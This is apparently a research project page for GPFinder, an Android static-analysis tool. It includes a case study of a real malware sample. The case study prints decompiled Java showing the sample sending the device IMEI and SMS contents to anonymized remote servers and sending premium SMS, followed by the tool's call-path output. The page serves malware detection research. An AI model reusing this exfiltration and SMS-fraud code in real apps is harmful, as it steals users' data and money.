GPFinder is a tool that helps to obtain execution paths towards suspicious code inside APK files (Android applications).
Source code
The source code will be released once our paper on GPFinder is published.
Resources forAnalyzed Malware
- The complete list of analyzed malware in this experiment can be found.
- The results of analysis of these malware samples.
- The statistics of this experiment.
- The list of analyzed benign applications.
- The results of analysis of these benign apps.
- The statistics of this experiment.
Malware Example
We have reversed and analyzed the malware with the hash SH256: "45d21e32698d1536a73e42c1e5131c29ca94b9d9d1bd5c744bd74ffc2af6853e". It is a malware that sends sensitive information to remote servers, receives and executes commands, and sends premium SMSs.
Code Reverse
This is the list of permissions this malware sample asks for:
<uses-permission android:name="android.permission.READ_PHONE_STATE"/> <uses-permission android:name="android.permission.RECEIVE_SMS"/> <uses-permission android:name="android.permission.READ_SMS"/> <uses-permission android:name="android.permission.SEND_SMS"/> <uses-permission android:name="android.permission.CALL_PHONE"/> <uses-permission android:name="android.permission.READ_CALL_LOG"/> <uses-permission android:name="android.permission.WRITE_CALL_LOG"/> <uses-permission android:name="android.permission.GET_TASKS"/> <uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/> <uses-permission android:name="android.permission.WRITE_SETTINGS"/> <uses-permission android:name="android.permission.VIBRATE"/> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.ACCESS_DOWNLOAD_MANAGER"/> <uses-permission android:name="android.permission.WRITE_SMS"/> <uses-permission android:name="android.permission.READ_CONTACTS"/>
The malware registers a main Activity called ClientActivity, which asks for Admin rights and send the IEMI of the phone to a remote server:
try { Intent localIntent = new Intent("android.app.action.ADD_DEVICE_ADMIN"); localIntent.putExtra("android.app.extra.DEVICE_ADMIN", this.componentName); localIntent.putExtra("android.app.extra.ADD_EXPLANATION", ""); startActivityForResult(localIntent, 20); return; } ... try { sleep(500L); String str = ((TelephonyManager)this.this$0.mContext.getSystemService("phone")).getDeviceId(); Intent localIntent = new Intent(); localIntent.setAction("android.intent.action.VIEW"); localIntent.setData(Uri.parse("http://########/info/?iemi=" + str)); this.this$0.startActivity(localIntent); return; }
The malware also sends other sensitive information through an AsyncTask class (we have intentionally anonymized the website addresses):
String str2 = ((TelephonyManager)this.context.getSystemService("phone")).getDeviceId(); ArrayList localArrayList = new ArrayList(); localArrayList.add(new BasicNameValuePair("imei", str2)); localArrayList.add(new BasicNameValuePair("count", Integer.toString(i))); localArrayList.add(new BasicNameValuePair("notebook", "条 数:" + i + "\r\n" + str1)); App.log(HttpSend.postData("http://up.#####.com/MailTask.php", localArrayList));
It also sends premium SMSs:
if (this.msgimei.length() > 70) { Iterator localIterator = localSmsManager.divideMessage(this.msgimei).iterator(); while (localIterator.hasNext()) { String str = (String)localIterator.next(); if ((str != null) || (!str.equals(""))) { sendMsg(localSmsManager, this.phoneNumber, str); } } } ... public void sendMsg(SmsManager paramSmsManager, String paramString1, String paramString2) { App.log("--sendMsg:--" + paramString1 + "," + paramString2); paramSmsManager.sendTextMessage(paramString1, null, paramString2, null, null); }
Analysis Output with GPFinder
The output format of GPFinder is:
... <Some general information> Suspicious method(s): 7 - {'telephony': 3, 'network': 5, 'sms': 4} // This means there are N suspicious method in the application, 3 of them contain suspicious code of type 'telephony' ... // Note that a suspicious method can contain suspicious code of different categories. ... Implicit edges: + { <calling_method_1> @ <calling_method_2>} -> <registration_method> -> <callback_method> // A registration method (a framework method) can be called from different methods in the app. ... Rules: * usage_number#<registration_method>#<callback_method>#position // usage_number: the number of times this implicit call type has been used in the app. ... Path: 3 branch(es) ['BRANCHN1', 'BRANCHN2', 'BRANCHN3'] - type(s) {'network': 1, 'telephony': 2} - entry_point_method - method_2 ... - suspicious_method // The entry point can be the suspicious method, so the path is this case will contain only one method signature. ... END_STATIC took 9.34567 sec // The analysis time
This is the analysis output of the malware sample reversed previously:
Apk: 45d21e32698d1536a73e42c1e5131c29ca94b9d9d1bd5c744bd74ffc2af6853e.apk Date: 2017-02-24 14:39:05.189 Size: 50112 Suspicious: true Suspicious method(s): 13 - {'sms': 11, 'network': 92, 'telephony': 24} Implicit edges: + 1 { <com.duoji.app.mian.Device: void onReceive(android.content.Context,android.content.Intent)> } -> <android.app.admin.DeviceAdminReceiver: void onReceive(android.content.Context,android.content.Intent)> -> <com.duoji.app.mian.Device: void onEnabled(android.content.Context,android.content.Intent)> + 0 { <com.duoji.app.mian.Device: void onReceive(android.content.Context,android.content.Intent)> } -> <android.app.admin.DeviceAdminReceiver: void onReceive(android.content.Context,android.content.Intent)> -> <com.duoji.app.mian.Device: void onDisabled(android.content.Context,android.content.Intent)> + 11 { <com.duoji.app.mian.CrashHandler: void init(android.content.Context)> } -> <java.lang.Thread: void setDefaultUncaughtExceptionHandler(com.duoji.app.mian.CrashHandler)> -> <com.duoji.app.mian.CrashHandler: void uncaughtException(java.lang.Thread,java.lang.Throwable)> + 8 { <com.duoji.app.mian.Shell: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.MailTask: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.HttpSend: void <init>(java.lang.String,java.util.List)> @ <com.duoji.app.mian.SmsTask: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,android.content.Context)> @ <com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,java.lang.String,android.content.Context)> } -> <android.os.AsyncTask: void <init>()> -> <com.duoji.app.mian.HttpSend: java.lang.Object doInBackground(java.lang.Object[])> + 8 { <com.duoji.app.mian.Shell: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.MailTask: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.HttpSend: void <init>(java.lang.String,java.util.List)> @ <com.duoji.app.mian.SmsTask: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,android.content.Context)> @ <com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,java.lang.String,android.content.Context)> } -> <android.os.AsyncTask: void <init>()> -> <com.duoji.app.mian.MailTask: java.lang.Object doInBackground(java.lang.Object[])> + 8 { <com.duoji.app.mian.Shell: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.MailTask: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.HttpSend: void <init>(java.lang.String,java.util.List)> @ <com.duoji.app.mian.SmsTask: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,android.content.Context)> @ <com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,java.lang.String,android.content.Context)> } -> <android.os.AsyncTask: void <init>()> -> <com.duoji.app.mian.SendMessageasync: java.lang.Object doInBackground(java.lang.Object[])> + 9 { <com.duoji.app.mian.Shell: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.MailTask: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.HttpSend: void <init>(java.lang.String,java.util.List)> @ <com.duoji.app.mian.SmsTask: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,android.content.Context)> @ <com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,java.lang.String,android.content.Context)> } -> <android.os.AsyncTask: void <init>()> -> <com.duoji.app.mian.SendMessageasync: void onPostExecute(java.lang.Object)> + 10 { <com.duoji.app.mian.Shell: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.MailTask: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.HttpSend: void <init>(java.lang.String,java.util.List)> @ <com.duoji.app.mian.SmsTask: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,android.content.Context)> @ <com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,java.lang.String,android.content.Context)> } -> <android.os.AsyncTask: void <init>()> -> <com.duoji.app.mian.SendMessageasync: void onProgressUpdate(java.lang.Object[])> + 8 { <com.duoji.app.mian.Shell: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.MailTask: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.HttpSend: void <init>(java.lang.String,java.util.List)> @ <com.duoji.app.mian.SmsTask: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,android.content.Context)> @ <com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,java.lang.String,android.content.Context)> } -> <android.os.AsyncTask: void <init>()> -> <com.duoji.app.mian.SmsTask: java.lang.Object doInBackground(java.lang.Object[])> + 8 { <com.duoji.app.mian.Shell: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.MailTask: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.HttpSend: void <init>(java.lang.String,java.util.List)> @ <com.duoji.app.mian.SmsTask: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,android.content.Context)> @ <com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,java.lang.String,android.content.Context)> } -> <android.os.AsyncTask: void <init>()> -> <com.duoji.app.mian.Shell: java.lang.Object doInBackground(java.lang.Object[])> + 12 { <com.duoji.app.mian.ClientActivity: void Openurl()> } -> <com.duoji.app.mian.ClientActivity$1: void start()> -> <com.duoji.app.mian.ClientActivity$1: void run()> + 8 { <com.duoji.app.mian.Shell: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.MailTask: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.HttpSend: void <init>(java.lang.String,java.util.List)> @ <com.duoji.app.mian.SmsTask: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,android.content.Context)> @ <com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,java.lang.String,android.content.Context)> } -> <android.os.AsyncTask: void <init>()> -> <com.duoji.app.mian.SendMessageasync: java.lang.Object doInBackground(java.lang.Object[])> + 9 { <com.duoji.app.mian.Shell: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.MailTask: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.HttpSend: void <init>(java.lang.String,java.util.List)> @ <com.duoji.app.mian.SmsTask: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,android.content.Context)> @ <com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,java.lang.String,android.content.Context)> } -> <android.os.AsyncTask: void <init>()> -> <com.duoji.app.mian.SendMessageasync: void onPostExecute(java.lang.Object)> + 10 { <com.duoji.app.mian.Shell: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.MailTask: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.HttpSend: void <init>(java.lang.String,java.util.List)> @ <com.duoji.app.mian.SmsTask: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,android.content.Context)> @ <com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,java.lang.String,android.content.Context)> } -> <android.os.AsyncTask: void <init>()> -> <com.duoji.app.mian.SendMessageasync: void onProgressUpdate(java.lang.Object[])> Rules: * 0/1#<android.app.admin.DeviceAdminReceiver: void onReceive(android.content.Context,android.content.Intent)>#<android.app.admin.DeviceAdminReceiver: void onDisabled(android.content.Context,android.content.Intent)>#0 * 1/1#<android.app.admin.DeviceAdminReceiver: void onReceive(android.content.Context,android.content.Intent)>#<android.app.admin.DeviceAdminReceiver: void onEnabled(android.content.Context,android.content.Intent)>#0 * 8/6#<android.os.AsyncTask: void <init>()>#<android.os.AsyncTask: java.lang.Object doInBackground(java.lang.Object[])>#0 * 9/2#<android.os.AsyncTask: void <init>()>#<android.os.AsyncTask: void onPostExecute(java.lang.Object)>#0 * 10/2#<android.os.AsyncTask: void <init>()>#<android.os.AsyncTask: void onProgressUpdate(java.lang.Object[])>#0 * 11/1#<java.lang.Thread: void setDefaultUncaughtExceptionHandler(java.lang.Thread$UncaughtExceptionHandler)>#<java.lang.Thread$UncaughtExceptionHandler: void uncaughtException(java.lang.Thread,java.lang.Throwable)>#1 * 12/1#<java.lang.Thread: void start()>#<java.lang.Runnable: void run()>#0 CFG info: methods: 86, nodes: 1891, edges: 2322 Path: 5 branch(es) ['BRANCHN109', 'BRANCHN110', 'BRANCHN113', 'BRANCHN114', 'BRANCHN116'] - type(s) {'sms': 4, 'network': 9} - com.duoji.app.mian.MyReceiver: void onReceive(android.content.Context,android.content.Intent) - com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,java.lang.String,android.content.Context) - com.duoji.app.mian.SendMessageasync: java.lang.Object doInBackground(java.lang.Object[]) - com.duoji.app.mian.SendMessageasync: java.lang.String doInBackground(java.lang.Integer[]) Path: 5 branch(es) ['BRANCHN109', 'BRANCHN110', 'BRANCHN113', 'BRANCHN114', 'BRANCHN28'] - type(s) {'sms': 4, 'network': 9} - com.duoji.app.mian.MyReceiver: void onReceive(android.content.Context,android.content.Intent) - com.duoji.app.mian.Shell: void <init>(java.lang.String,android.content.Context) - com.duoji.app.mian.Shell: java.lang.Object doInBackground(java.lang.Object[]) - com.duoji.app.mian.Shell: java.lang.String doInBackground(java.lang.Integer[]) - com.duoji.app.mian.Shell: void run(java.lang.String) - com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,android.content.Context) - com.duoji.app.mian.SendMessageasync: java.lang.Object doInBackground(java.lang.Object[]) - com.duoji.app.mian.SendMessageasync: java.lang.String doInBackground(java.lang.Integer[]) Path: 0 branch(es) - type(s) {'sms': 3, 'network': 9, 'telephony': 2} Path: 0 branch(es) - type(s) {'sms': 2} Path: 0 branch(es) [] - type(s) {'sms': 2} - com.duoji.app.mian.ClientActivity: void onCreate(android.os.Bundle) - com.duoji.app.mian.ClientActivity: void Openurl() - com.duoji.app.mian.ClientActivity$1: void run() Path: 1 branch(es) ['BRANCHN127'] - type(s) {'network': 18, 'telephony': 4} - com.duoji.app.mian.ClientActivity: void onCreate(android.os.Bundle) - com.duoji.app.mian.App: void chkIsFirstRun(android.content.Context) Path: 1 branch(es) ['BRANCHN108'] - type(s) {'network': 23} - com.duoji.app.mian.MyReceiver: void onReceive(android.content.Context,android.content.Intent) - com.duoji.app.mian.HttpSend: void <init>(java.lang.String,java.util.List) - com.duoji.app.mian.HttpSend: java.lang.Object doInBackground(java.lang.Object[]) - com.duoji.app.mian.HttpSend: java.lang.String doInBackground(java.lang.Integer[]) - com.duoji.app.mian.HttpSend: java.lang.String postData(java.lang.String,java.util.List) Path: 0 branch(es) [] - type(s) {'network': 23} - com.duoji.app.mian.MyApplication: void onCreate() - com.duoji.app.mian.CrashHandler: void init(android.content.Context) - com.duoji.app.mian.CrashHandler: void uncaughtException(java.lang.Thread,java.lang.Throwable) - com.duoji.app.mian.CrashHandler: void dumpExceptionToSDCard(java.lang.Throwable) - com.duoji.app.mian.HttpSend: java.lang.String postData(java.lang.String,java.util.List) Path: 1 branch(es) ['BRANCHN55'] - type(s) {'network': 23} - com.duoji.app.mian.ClientActivity: void onCreate(android.os.Bundle) - com.duoji.app.mian.MailTask: void <init>(java.lang.String,android.content.Context) - com.duoji.app.mian.MailTask: java.lang.Object doInBackground(java.lang.Object[]) - com.duoji.app.mian.MailTask: java.lang.String doInBackground(java.lang.Integer[]) - com.duoji.app.mian.MailTask: void run(java.lang.String) - com.duoji.app.mian.HttpSend: java.lang.String postData(java.lang.String,java.util.List) Path: 0 branch(es) [] - type(s) {'network': 23} - com.duoji.app.mian.ClientActivity: void onCreate(android.os.Bundle) - com.duoji.app.mian.SmsTask: void <init>(java.lang.String,android.content.Context) - com.duoji.app.mian.SmsTask: java.lang.Object doInBackground(java.lang.Object[]) - com.duoji.app.mian.SmsTask: java.lang.String doInBackground(java.lang.Integer[]) - com.duoji.app.mian.SmsTask: void run(java.lang.String) - com.duoji.app.mian.HttpSend: java.lang.String postData(java.lang.String,java.util.List) Path: 7 branch(es) ['BRANCHN109', 'BRANCHN110', 'BRANCHN113', 'BRANCHN114', 'BRANCHN116', 'BRANCHN180', 'BRANCHN182'] - type(s) {'network': 23} - com.duoji.app.mian.MyReceiver: void onReceive(android.content.Context,android.content.Intent) - com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,java.lang.String,android.content.Context) - com.duoji.app.mian.SendMessageasync: java.lang.Object doInBackground(java.lang.Object[]) - com.duoji.app.mian.SendMessageasync: java.lang.String doInBackground(java.lang.Integer[]) - com.duoji.app.mian.HttpSend: java.lang.String postData(java.lang.String,java.util.List) Path: 1 branch(es) ['BRANCHN127'] - type(s) {'network': 23} - com.duoji.app.mian.ClientActivity: void onCreate(android.os.Bundle) - com.duoji.app.mian.App: void chkIsFirstRun(android.content.Context) - com.duoji.app.mian.HttpSend: void <init>(java.lang.String,java.util.List) - com.duoji.app.mian.HttpSend: java.lang.Object doInBackground(java.lang.Object[]) - com.duoji.app.mian.HttpSend: java.lang.String doInBackground(java.lang.Integer[]) - com.duoji.app.mian.HttpSend: java.lang.String postData(java.lang.String,java.util.List) Path: 6 branch(es) ['BRANCHN109', 'BRANCHN110', 'BRANCHN113', 'BRANCHN114', 'BRANCHN29', 'BRANCHN55'] - type(s) {'network': 23} - com.duoji.app.mian.MyReceiver: void onReceive(android.content.Context,android.content.Intent) - com.duoji.app.mian.Shell: void <init>(java.lang.String,android.content.Context) - com.duoji.app.mian.Shell: java.lang.Object doInBackground(java.lang.Object[]) - com.duoji.app.mian.Shell: java.lang.String doInBackground(java.lang.Integer[]) - com.duoji.app.mian.Shell: void run(java.lang.String) - com.duoji.app.mian.MailTask: void <init>(java.lang.String,android.content.Context) - com.duoji.app.mian.MailTask: java.lang.Object doInBackground(java.lang.Object[]) - com.duoji.app.mian.MailTask: java.lang.String doInBackground(java.lang.Integer[]) - com.duoji.app.mian.MailTask: void run(java.lang.String) - com.duoji.app.mian.HttpSend: java.lang.String postData(java.lang.String,java.util.List) Path: 7 branch(es) ['BRANCHN109', 'BRANCHN110', 'BRANCHN113', 'BRANCHN114', 'BRANCHN28', 'BRANCHN180', 'BRANCHN182'] - type(s) {'network': 23} - com.duoji.app.mian.MyReceiver: void onReceive(android.content.Context,android.content.Intent) - com.duoji.app.mian.Shell: void <init>(java.lang.String,android.content.Context) - com.duoji.app.mian.Shell: java.lang.Object doInBackground(java.lang.Object[]) - com.duoji.app.mian.Shell: java.lang.String doInBackground(java.lang.Integer[]) - com.duoji.app.mian.Shell: void run(java.lang.String) - com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,android.content.Context) - com.duoji.app.mian.SendMessageasync: java.lang.Object doInBackground(java.lang.Object[]) - com.duoji.app.mian.SendMessageasync: java.lang.String doInBackground(java.lang.Integer[]) - com.duoji.app.mian.HttpSend: java.lang.String postData(java.lang.String,java.util.List) Path: 6 branch(es) ['BRANCHN109', 'BRANCHN110', 'BRANCHN113', 'BRANCHN114', 'BRANCHN29', 'BRANCHN31'] - type(s) {'network': 23} - com.duoji.app.mian.MyReceiver: void onReceive(android.content.Context,android.content.Intent) - com.duoji.app.mian.Shell: void <init>(java.lang.String,android.content.Context) - com.duoji.app.mian.Shell: java.lang.Object doInBackground(java.lang.Object[]) - com.duoji.app.mian.Shell: java.lang.String doInBackground(java.lang.Integer[]) - com.duoji.app.mian.Shell: void run(java.lang.String) - com.duoji.app.mian.SmsTask: void <init>(java.lang.String,android.content.Context) - com.duoji.app.mian.SmsTask: java.lang.Object doInBackground(java.lang.Object[]) - com.duoji.app.mian.SmsTask: java.lang.String doInBackground(java.lang.Integer[]) - com.duoji.app.mian.SmsTask: void run(java.lang.String) - com.duoji.app.mian.HttpSend: java.lang.String postData(java.lang.String,java.util.List) Path: 0 branch(es) [] - type(s) {'network': 9, 'telephony': 4} - com.duoji.app.mian.MyApplication: void onCreate() - com.duoji.app.mian.CrashHandler: void init(android.content.Context) - com.duoji.app.mian.CrashHandler: void uncaughtException(java.lang.Thread,java.lang.Throwable) - com.duoji.app.mian.CrashHandler: void dumpExceptionToSDCard(java.lang.Throwable) Path: 7 branch(es) ['BRANCHN109', 'BRANCHN110', 'BRANCHN113', 'BRANCHN114', 'BRANCHN116', 'BRANCHN180', 'BRANCHN182'] - type(s) {'network': 9, 'telephony': 2} - com.duoji.app.mian.MyReceiver: void onReceive(android.content.Context,android.content.Intent) - com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,java.lang.String,android.content.Context) - com.duoji.app.mian.SendMessageasync: java.lang.Object doInBackground(java.lang.Object[]) - com.duoji.app.mian.SendMessageasync: java.lang.String doInBackground(java.lang.Integer[]) - com.duoji.app.mian.SendMessageasync: void sendMsg(android.telephony.SmsManager,java.lang.String,java.lang.String) Path: 7 branch(es) ['BRANCHN109', 'BRANCHN110', 'BRANCHN113', 'BRANCHN114', 'BRANCHN28', 'BRANCHN180', 'BRANCHN182'] - type(s) {'network': 9, 'telephony': 2} - com.duoji.app.mian.MyReceiver: void onReceive(android.content.Context,android.content.Intent) - com.duoji.app.mian.Shell: void <init>(java.lang.String,android.content.Context) - com.duoji.app.mian.Shell: java.lang.Object doInBackground(java.lang.Object[]) - com.duoji.app.mian.Shell: java.lang.String doInBackground(java.lang.Integer[]) - com.duoji.app.mian.Shell: void run(java.lang.String) - com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,android.content.Context) - com.duoji.app.mian.SendMessageasync: java.lang.Object doInBackground(java.lang.Object[]) - com.duoji.app.mian.SendMessageasync: java.lang.String doInBackground(java.lang.Integer[]) - com.duoji.app.mian.SendMessageasync: void sendMsg(android.telephony.SmsManager,java.lang.String,java.lang.String) Path: 0 branch(es) [] - type(s) {'network': 6, 'telephony': 2} - com.duoji.app.mian.ClientActivity: void onCreate(android.os.Bundle) - com.duoji.app.mian.SmsTask: void <init>(java.lang.String,android.content.Context) - com.duoji.app.mian.SmsTask: java.lang.Object doInBackground(java.lang.Object[]) - com.duoji.app.mian.SmsTask: java.lang.String doInBackground(java.lang.Integer[]) - com.duoji.app.mian.SmsTask: void run(java.lang.String) Path: 6 branch(es) ['BRANCHN109', 'BRANCHN110', 'BRANCHN113', 'BRANCHN114', 'BRANCHN29', 'BRANCHN31'] - type(s) {'network': 6, 'telephony': 2} - com.duoji.app.mian.MyReceiver: void onReceive(android.content.Context,android.content.Intent) - com.duoji.app.mian.Shell: void <init>(java.lang.String,android.content.Context) - com.duoji.app.mian.Shell: java.lang.Object doInBackground(java.lang.Object[]) - com.duoji.app.mian.Shell: java.lang.String doInBackground(java.lang.Integer[]) - com.duoji.app.mian.Shell: void run(java.lang.String) - com.duoji.app.mian.SmsTask: void <init>(java.lang.String,android.content.Context) - com.duoji.app.mian.SmsTask: java.lang.Object doInBackground(java.lang.Object[]) - com.duoji.app.mian.SmsTask: java.lang.String doInBackground(java.lang.Integer[]) - com.duoji.app.mian.SmsTask: void run(java.lang.String) Path: 0 branch(es) - type(s) {'network': 6, 'telephony': 2} Path: 0 branch(es) [] - type(s) {'telephony': 4} - com.duoji.app.mian.ClientActivity: void onCreate(android.os.Bundle) - com.duoji.app.mian.MyReceiver: void <init>() Path: 1 branch(es) ['BRANCHN55'] - type(s) {'network': 3, 'telephony': 2} - com.duoji.app.mian.ClientActivity: void onCreate(android.os.Bundle) - com.duoji.app.mian.MailTask: void <init>(java.lang.String,android.content.Context) - com.duoji.app.mian.MailTask: java.lang.Object doInBackground(java.lang.Object[]) - com.duoji.app.mian.MailTask: java.lang.String doInBackground(java.lang.Integer[]) - com.duoji.app.mian.MailTask: void run(java.lang.String) Path: 6 branch(es) ['BRANCHN109', 'BRANCHN110', 'BRANCHN113', 'BRANCHN114', 'BRANCHN29', 'BRANCHN55'] - type(s) {'network': 3, 'telephony': 2} - com.duoji.app.mian.MyReceiver: void onReceive(android.content.Context,android.content.Intent) - com.duoji.app.mian.Shell: void <init>(java.lang.String,android.content.Context) - com.duoji.app.mian.Shell: java.lang.Object doInBackground(java.lang.Object[]) - com.duoji.app.mian.Shell: java.lang.String doInBackground(java.lang.Integer[]) - com.duoji.app.mian.Shell: void run(java.lang.String) - com.duoji.app.mian.MailTask: void <init>(java.lang.String,android.content.Context) - com.duoji.app.mian.MailTask: java.lang.Object doInBackground(java.lang.Object[]) - com.duoji.app.mian.MailTask: java.lang.String doInBackground(java.lang.Integer[]) - com.duoji.app.mian.MailTask: void run(java.lang.String) Path: 3 branch(es) ['BRANCHN109', 'BRANCHN110', 'BRANCHN113'] - type(s) {'telephony': 2} - com.duoji.app.mian.MyReceiver: void onReceive(android.content.Context,android.content.Intent) END_STATIC took 13.658324480056763 sec